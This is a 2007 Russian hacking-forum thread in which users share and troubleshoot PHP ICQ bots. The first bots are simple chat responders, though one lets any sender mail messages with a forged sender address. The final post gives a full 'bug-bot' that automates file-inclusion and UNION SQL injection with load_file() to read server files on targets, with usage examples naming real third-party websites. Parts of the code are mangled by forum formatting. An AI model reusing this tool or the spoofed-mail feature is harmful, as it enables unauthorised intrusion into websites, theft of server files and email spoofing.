Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   ICQ (https://forum.antichat.xyz/forumdisplay.php?f=13)
-   -   ICQ Bot (https://forum.antichat.xyz/showthread.php?t=36696)

NOmeR1 29.03.2007 22:06

ICQ Bot
 
Вот нашёл ICQ бота на PHP, использующего класс WebIcqLite.class.php.

PHP код:

<?php 
/*Created by Scorpion */ 
error_reporting (E_ALL); 
set_time_limit(0); 
ini_set ('max_execution_time'"0"); 
require_once(
'WebIcqLite.class.php'); 
define('UIN''789012345');// Ваш номер icq 
define('PASSWORD''1ql66aa@');//Ваш  пароль 

$icq = new WebIcqLite(); 
if(!
$icq->connect(UINPASSWORD)) 

    echo 
$icq->error
    exit(); 


while(
$icq->is_connected()){ 
    
$msg $icq->read_message(); 
    switch (
strtolower($msg['message'])) { 
         
        case 
'привет'//сообщение для бота
        
$icq->send_message($msg['from'], 'Привет Познакомимся?'); //ответ на сообщение для бота
        
break; 
         
        case
'да'
        
$icq->send_message($msg['from'], 'Я ICQ BOT Scorpion'); 
        break; 

        case
'floodme'//сообщение для бота
                                
for($i==0;$i<50;$i++) //50 раз
        
$icq->send_message($msg['from'],'Ненавижу флудеров'); //это сообщение
        
exit; 
        break; 
         
        case
'quit'//сообщение для бота
        
$icq->disconnect(); //действие бота (выход)
        
exit; 
        break; 
         
        default: 
//если сообщение не содержит команду
        
$icq->send_message($msg['from'], 'Ты хочешь от меня слишком много, я только учусь?'); //ответ бота
    

    
flush(); 
    
sleep(1); 

?>

Автор - Scorpion
Взято с http://grabberz.com/showpost.php?p=16492&postcount=1


Как юзать.

Для начала нам надо залить бота на хост. Для этого :
Для бота нужны поддержка сокетов, поэтому регаемся на 1gb.in.
Заливаем на ваш сайт скрипт самого бота, предварительно изменив его, а в той же директории кладём этот скрипт под именем WebIcqLite.class.php.
И теперь просто запускаем скрипт бота. Вуаля! Бот в онлайне.

dimhee 29.03.2007 22:24

Объясните мне пожалуйста , что этот бот делает ?

Fr-Ron 29.03.2007 22:49

xzDim

Там же написаны коменты! Бот получает сообщение и отвечает на него.

NOmeR1 29.03.2007 23:00

Цитата:

Сообщение от xzDim
Объясните мне пожалуйста , что этот бот делает ?

Это, так сказать, Chat Bot :)

Isis 30.03.2007 01:42

Вот это баян =\\\\\
Я писал намного лучше...на том же форуме гдето лежит..

LLIepuqo 30.03.2007 10:56

А где достать самого бота?

Fr-Ron 30.03.2007 11:10

LLIepuqo

А что тогда тут выожено в 1-ом посте? О_о вбиваешь в скрипт номер, пасс, стартуешь скрипт и твой бот в сети.

MacTep 30.03.2007 17:42

а как через него посылать многострочные посты?

cardons 30.03.2007 17:48

Цитата:

Сообщение от MacTep
а как через него посылать многострочные посты?

Просто меняешь Я ICQ BOT Scorpion на свое что хочешь написать и все.

MacTep 30.03.2007 18:19

Я мож и тупой, но не настолько)))
Я про другое.
Хочу, чтоб он списочком выводил, типа:

Список команд:
1- пойти нафиг
2- вырубит бота
3- ...

что-то такое... "\n" не работает.

GreenBear 30.03.2007 18:20

а если я напишу "привет)" то этот супер мега кодер облажаетцо?

MacTep 30.03.2007 18:21

так зачем писать полное совпадение, как в примере? я пишу через совпадение контрольных частей...))

LLIepuqo 30.03.2007 18:58

МНе пишет что ошибка в 8 строке...
Вот гляньте: http://www.w3llork.serverok.org/123/index.php

GreenBear 30.03.2007 19:03

ковычку то поставь =\

LLIepuqo 30.03.2007 20:22

Это исправил) СПасибо... Токо следующее( Fatal error: Call to undefined function socket_create() in d:\hst\danstreet-ru_5e5a89b7\http\bot\WebIcqLite.class.php on line 393
Есть тот кто этот бот запустил?
Вот кажется эта строка:
function open($url = array('login.icq.com', 5190))

NOmeR1 30.03.2007 20:48

Цитата:

Сообщение от LLIepuqo
Это исправил) СПасибо... Токо следующее( Fatal error: Call to undefined function socket_create() in d:\hst\danstreet-ru_5e5a89b7\http\bot\WebIcqLite.class.php on line 393
Есть тот кто этот бот запустил?
Вот кажется эта строка:
function open($url = array('login.icq.com', 5190))

Поддержки сокетов нет. Делай как я всё написал (1gb.in).

LLIepuqo 31.03.2007 21:56

А как сделать приветствующее сообщение? Типо человек добавил бота в контакры, а бот ему выдал приветствие..

vvs777 03.04.2007 23:18

Боты на php - ацкое зверство.
Мозги себе ипать + глюки искать. И еще с сокетами возиться.
Делфи рулит!

nbd 06.04.2007 14:36

На диске ][акера за 3-ий месяц есть сорц Icq-bot'а на Делфи, если кому надо и нет диска могу скинуть, пишите в ПМ или Icq: 465-790-267

NOmeR1 10.04.2007 21:19

Обновление
 
Обновлён бот на PHP. Теперь он может отправлять сообщения на мыло. Просто отправляем ему письмо в таком формате otkogo@mail.ru::komy@mail.ru::Тема письма::Содержание письма.
PHP код:

<?php 
/*Created by Scorpion */ 
error_reporting (E_ALL); 
set_time_limit(0); 
ini_set ('max_execution_time'"0"); 
require_once(
'WebIcqLite.class.php'); 
define('UIN''?????????');// Ваш номер icq 
define('PASSWORD''pass');//Ваш  пароль 

$icq = new WebIcqLite(); 
if(!
$icq->connect(UINPASSWORD)) 

    echo 
$icq->error
    exit(); 




while(
$icq->is_connected()){ 
    
$msg $icq->read_message(); 
    if (
eregi('admin'$msg['message'])) 

$pass=split(':',$msg['message']); 
if(
md5($pass[1])=='21232f297a57a5a743894a0e4a801fc3'

    
define('ADMIN'$msg['from']); 
    
$icq->send_message($msg['from'], 'Welcome admin');  


 else 
 { 
     
$icq->send_message($msg['from'], 'У вас осталось x попыток' ); 
 } 

if (
preg_match('/^\S+@+\S+::\S+@+\S+::[^:]*::/'$msg['message'])) 

    
$email=split('::',$msg['message']); 
     @
mail($email[1], $email[2], $email[3], 'From:'.$email[0]);  
     
$icq->send_message($msg['from'], 'Ваше письмо для '.$email[1].' отправлено.'); 

else 
    switch (
strtolower($msg['message'])) { 
         
        case 
'привет'
        
$icq->send_message($msg['from'], 'Привет Познакомимся?'); 
        break; 
         
        case
'да'
        
$icq->send_message($msg['from'], 'Я ICQ BOT Scorpion'); 
        break; 
         
        case
'floodme':  
        for(
$i==0;$i<50;$i++)  
        
$icq->send_message($msg['from'],'Ненавижу флудеров'); //при использовании номер будет забанене на некоторое время 
        
exit;  
        break;  

         
        case
'quit'
        
$icq->disconnect(); 
        exit; 
        break; 
         
        default: 
        
$icq->send_message($msg['from'], 'Ты хочешь от меня слишком много, я только учусь?'); 
    } 
    
flush(); 
    
sleep(1); 

?>

Если кому надо, могу попросить автора сделать некоторые функции.

mad_xakep 12.04.2007 18:34

а как скрипт бота запускать?

mad_xakep 12.04.2007 18:48

а нельзя ли на другом сервере разместить кроме этого 1gb.in

Cawabunga 19.04.2007 06:22

Научите пользоватся(

KPOT_f!nd 19.04.2007 06:33

Цитата:

а нельзя ли на другом сервере разместить кроме этого 1gb.in
можно просто это холявный софт+ soket там есть(если мну память не изменяет)
Цитата:

Научите пользоватся(
перечитай с 1 страницы, много раз уже писали что и как с ним делать . . .

cb93ka 19.04.2007 13:12

офф. размещу за 1 в месяц ;)

anarсhist 29.04.2007 11:37

накидал тут тоже бота простенького (на webicqlite.class.php), попытался прикрутить к нему функцию показа прогноза погоды. чтобы особо не париться с парсингом gismeteo и ему подобных сайтов решил просто отсылать боту gismeteo название города, дожидаться ответа и отсылать запросчику ответ этого бота. но возникла проблема, бот гисметео не присылает ответ, перепробовал кучу других ботов ответ также не приходил... помогите кто чем может.

на счет серверов, можно разместить еще на awardspase.com, но мой бот трагически погиб через 2 недели (удалили гады).

NOmeR1 29.04.2007 12:01

Цитата:

Сообщение от calintz
Научите пользоватся(

Я же всё в первом посте написал.

0-444 30.04.2007 18:40

http://www.1gb.in/
не нашёл как зарегиться(
все ссылки ведут на главную..(
Где найти хост?

anarсhist 01.05.2007 00:54

скорее всего временно прекратили регистрацию, жди! :)

0-444 02.05.2007 22:18

как скрипт запускаеться? а то я никак не пойму(

kirbak 04.05.2007 15:44

Цитата:

Сообщение от 0-444
как скрипт запускаеться? а то я никак не пойму(

Браузером :)

0-444 05.05.2007 13:16

У меня новая фигня, типа всё номано, запустил, первый раз запустил бота он просидел до тайм-аута =), после запускаю он стучиться пару раз в асю и вылетает в браузере выдаёт "UIN blocked, please try again 20 min later" =(

В чём проблема?

anarсhist 05.05.2007 13:20

видимо слишком много попыток логина =). подожди 20 мин, если не терпится, то зарегай еще один номерок и впиши на время его .

0-444 08.05.2007 17:00

Цеплял на свой хост(купленый) отказываеться номано работать.

ЦГде взять бессплатный, нормальтный хост для бота?

mr.The 08.05.2007 17:09

Цитата:

ЦГде взять бессплатный, нормальтный хост для бота?
мой висел на 1gb.in ибо там есть поддержка сокетов

0-444 08.05.2007 17:12

нельзя зарегиться там

NOmeR1 29.09.2007 22:52

[php]<?php
error_reporting (E_ALL);
set_time_limit(FALSE);
ignore_user_abort(TRUE);
ini_set('max_execution_time', '0');
require_once('WebIcqLite.class.php');
define('UIN', '123456789'); //Номер бота
define('PASSWORD', 'PASSW0RD'); //Пароль бота
define('ADMIN', '555000'); //Номер админа бота

$icq = new WebIcqLite();

if(!$icq->connect(UIN, PASSWORD))
{
echo $icq->error;
exit();
}

$icq->send_message(ADMIN, 'Online');

while($icq->is_connected())
{

$msg = $icq->read_message();
$m = strtolower($msg['message']);
$dirs = explode("\n", file_get_contents('dirs.txt'));

if(preg_match("/^!php-inj\s+'(.+)','(true|false)'$/",$m,$regs))
{

$url = $regs[1];
$null = $regs[2];

function phpinj($url, $file, $null)
{

if($null == true)
{
$replace = $file.'%00';
$url_full = str_replace('[php]',urlencode($file).'%00',$url);
}

elseif($null == false)
{
$replace = $file;
$url_full = str_replace('[php]',urlencode($file),$url);
}

$urlOpen = file_get_contents($url_full);

if(preg_match('#(<b>Warning</b>|<b>Fatal error</b>).+'.$file.'#',$urlOpen))
{
return false;
}

elseif($urlOpen)
{
return str_replace('
PHP код:

',$replace,$url);
            }

        }

        if($null == '
true')
        {
            $null = true;
        }

        else
        {
            $null = false;
        }
        
        $send = '';
    
        foreach($dirs as $dir)
        {

            $php_inj = phpinj($url, $dir, $null);

            if($php_inj == true)
            {
                $search = true;
                $send .= $php_inj."\n";
            }

        }

        if($search == false)
        {
            $icq->send_message($msg['
from'], 'Ничего не найдено');
        }

        else
        {
            $icq->send_message($msg['
from'], preg_replace("|\n$|",NULL,$send));
        }

    }

    elseif(preg_match("/^!sql-inj\s+'
(.+)','(\d+)','(\d+)','(true|false)'$/",$m,$regs))
    {

        function sqlinj($url, $cols, $kol, $comm, $dir)
        {

            $one = '
-1+union+select+';

            for($i=1;$i<=$cols;$i++)
            {

                if($i != $kol)
                {
                    $one .= $i;
                }

                else
                {
                    $one .= '
load_file('.$dir.')';
                }

                if($i != $cols)
                {
                    $one .= '
,';
                }

            }

            if($comm)
            {
                $comm = '
/*';
            }

            else
            {
                $comm = null;
            }

            $url = str_replace('[sql]',$one.$comm,$url);
            $urlOpen = file_get_contents($url);
            $badUrl  = file_get_contents(preg_replace('|load_file\((.+)\)|','load_file(0x74657374657374)',$url));

            if(substr_count($urlOpen,'You have an error in your SQL syntax.') != '0' || $urlOpen == $badUrl)
            {
                return false;
            }

            else
            {
                return $url;
            }

        }

        if($regs[4] == 'true')
        {
            $comment = true;
        }

        else
        {
            $comment = false;
        }
        
        $send = '';
    
        foreach($dirs as $dir)
        {

            $dir = str_replace('../../../../../../../../../../../..',NULL,$dir);
            $sql_inj = sqlinj($regs[1], $regs[2], $regs[3], $comment, '0x'.bin2hex($dir));

            if($sql_inj == true)
            {
                $search = true;
                $send .= $sql_inj."\n";
            }

        }

        if($search != true)
        {
            $icq->send_message($msg['from'], 'Ничего не найдено');
        }

        else
        {
            $icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
        }

    }
    
    elseif(preg_match("/!bugtraq\s+'(.+)'/",$m,$regs))
    {
        $openBugTraq = file_get_contents('http://www.securityfocus.com/swsearch?query='.$regs[1].'&sbm=archive%2F1%2F&submit=Search%21&metaname=alldoc&sort=swishrank');
        preg_match_all('|<a href="http://www.securityfocus.com/archive/(\d+)/(\d+)">[\n\s]+(.*)|',$openBugTraq,$array,PREG_SET_ORDER);
        $send = '';

        foreach($array as $bug)
        {
            $search = true;
            $send .= 'http://www.securityfocus.com/archive/'.$bug[1].'/'.$bug[2].' ['.$bug[3].']'."\n";
        }

        if($search != true)
        {
            $icq->send_message($msg['from'], 'Ничего не найдено');
        }

        else
        {
            $icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
        }

    }

    elseif($msg['from'] == ADMIN && $m == '!quit')
    {
        $icq->send_message(ADMIN, 'Offline');
        $icq->disconnect();
    }

    else
    {
        $icq->send_message($msg['from'], 'Ваша команда не распознана');
    }

    flush();
    sleep(1);

}

?> 

Написал небольшого баг-бота, функции:
1. !php-inj 'http://www.ebrogreyhoundpark.com/index.php?pagename=[php]','false'
2. !sql-inj 'http://www.rockwm.de/songdetail.php?id=[sql]','12','7','true'
3. !bugtraq 'phpMyAdmin'


Поясню:
1. Эта функция для поиска логов при php-инъекции. Где http://....[php] - это урл php инъекции, false - не ставить ноль байт, true - ставить ноль байт.
2. Эта функция для поиска логов при sql-инъекции. Где http://....[sql] - это урл sql инъекции, 12 - это 12 столбцов, 7 - на 7-ой столбик ставим запрос, true - закоментировать конец запроса, false - нет.
3. Ищем баги в двигах.


Файл директорий можете скачать от сюда:
http://webfile.ru/1542459
Он должен быть в одной директории с ботом и называться dirs.txt.

Бот попрежнему работает на WebIcqLite.class


Время: 07:49